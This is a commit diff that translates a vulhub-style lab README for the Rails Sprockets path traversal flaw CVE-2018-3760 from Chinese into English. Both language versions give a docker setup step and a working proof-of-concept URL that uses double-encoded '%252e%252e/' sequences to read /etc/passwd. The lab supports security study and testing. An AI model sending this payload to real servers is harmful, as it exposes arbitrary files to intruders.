update translate/rails/CVE-2018-3760 (vulhub#70)

* Rename README.md to README.zh-cn.md

* Create README.md

* Update README.md

rails/CVE-2018-3760/README.md

@@ -1,35 +1,38 @@
-# Ruby On Rails 路径穿越漏洞（CVE-2018-3760）
+# Ruby On Rails Path Traversal Vulnerability（CVE-2018-3760）
 
-Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器，Ruby On Rails是著名Ruby Web开发框架，Sprockets是编译及分发静态资源文件的Ruby库。
+[中文版本(Chinese version)](README.zh-cn.md)
 
-Sprockets 3.7.1及之前版本中，存在一处因为二次解码导致的路径穿越漏洞，攻击者可以利用`%252e%252e/`来跨越到根目录，读取或执行目标服务器上任意文件。
+Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files.
 
-参考链接：
+There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use `%252e%252e/` to access the root directory and read or execute any file on the target server.
+
+Reference links：
 
 - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
 - https://seclists.org/oss-sec/2018/q2/210
 - https://xz.aliyun.com/t/2542
 
-## 环境搭建
+## Environment setup
 
-启动一个用Ruby On Rails脚手架生成的默认站点：
+Enter the following command：
 
 ```
 docker-compose up -d
 ```
 
-访问`http://your-ip:3000`即可查看到欢迎页面。
+Visit `http://your-ip:3000` and you'll see the welcome page.
 
-## 漏洞复现
+## POC
 
-直接访问`http://your-ip:3000/assets/file:%2f%2f/etc/passwd`，将会报错，因为文件`/etc/passwd`不在允许的目录中：
+It will give an error by visiting `http://your-ip:3000/assets/file:%2f%2f/etc/passwd` directly, as the file `/etc/passwd` is not in the allowed directory.
 
 ![](1.png)
 
-我们通过报错页面，可以获得允许的目录列表。随便选择其中一个目录，如`/usr/src/blog/app/assets/images`，然后使用`%252e%252e/`向上一层跳转，最后读取`/etc/passwd`：
+We can get a list of allowed directories by the error page. Just select one of them, such as `/usr/src/blog/app/assets/images`, then use `%252e%252e/` to jump to the parent directory, and finally read the file `/etc/passwd`:
 
 ```
 http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
 ```
 
-![](2.png)
+![](2.png)
+

rails/CVE-2018-3760/README.zh-cn.md

@@ -0,0 +1,35 @@
+# Ruby On Rails 路径穿越漏洞（CVE-2018-3760）
+
+Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器，Ruby On Rails是著名Ruby Web开发框架，Sprockets是编译及分发静态资源文件的Ruby库。
+
+Sprockets 3.7.1及之前版本中，存在一处因为二次解码导致的路径穿越漏洞，攻击者可以利用`%252e%252e/`来跨越到根目录，读取或执行目标服务器上任意文件。
+
+参考链接：
+
+- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
+- https://seclists.org/oss-sec/2018/q2/210
+- https://xz.aliyun.com/t/2542
+
+## 环境搭建
+
+启动一个用Ruby On Rails脚手架生成的默认站点：
+
+```
+docker-compose up -d
+```
+
+访问`http://your-ip:3000`即可查看到欢迎页面。
+
+## 漏洞复现
+
+直接访问`http://your-ip:3000/assets/file:%2f%2f/etc/passwd`，将会报错，因为文件`/etc/passwd`不在允许的目录中：
+
+![](1.png)
+
+我们通过报错页面，可以获得允许的目录列表。随便选择其中一个目录，如`/usr/src/blog/app/assets/images`，然后使用`%252e%252e/`向上一层跳转，最后读取`/etc/passwd`：
+
+```
+http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
+```
+
+![](2.png)